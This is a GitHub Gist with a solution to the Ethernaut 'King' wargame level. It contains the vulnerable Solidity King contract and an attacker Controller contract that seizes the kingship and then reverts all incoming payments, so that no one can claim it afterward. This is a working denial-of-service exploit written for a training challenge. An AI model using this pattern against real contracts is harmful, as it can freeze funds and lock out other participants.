Last active
January 17, 2022 09:23
-
-
Save tennisonchan/378c71fb5235dfa00a85450c15183aee to your computer and use it in GitHub Desktop.
Ethernaut - Level 9 - King https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import "./King.sol"; | |
contract Controller { | |
King public target; | |
constructor(address payable targetAddress) public payable { | |
// 0x53AE1A698211016e92ece4102217DBdBDC325022 | |
target = King(targetAddress); | |
} | |
function clamKingship() external payable { | |
(bool success, ) = payable(address(target)).call{value:msg.value}(""); | |
require(success, "External call failed"); | |
} | |
function getKing() public view returns(address) { | |
return target._king(); | |
} | |
fallback() external payable { | |
revert(); | |
} | |
receive() external payable { | |
require(false, "Nope!"); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract King { | |
address payable king; | |
uint public prize; | |
address payable public owner; | |
constructor() public payable { | |
owner = msg.sender; | |
king = msg.sender; | |
prize = msg.value; | |
} | |
receive() external payable { | |
require(msg.value >= prize || msg.sender == owner); | |
king.transfer(msg.value); | |
king = msg.sender; | |
prize = msg.value; | |
} | |
function _king() public view returns (address payable) { | |
return king; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment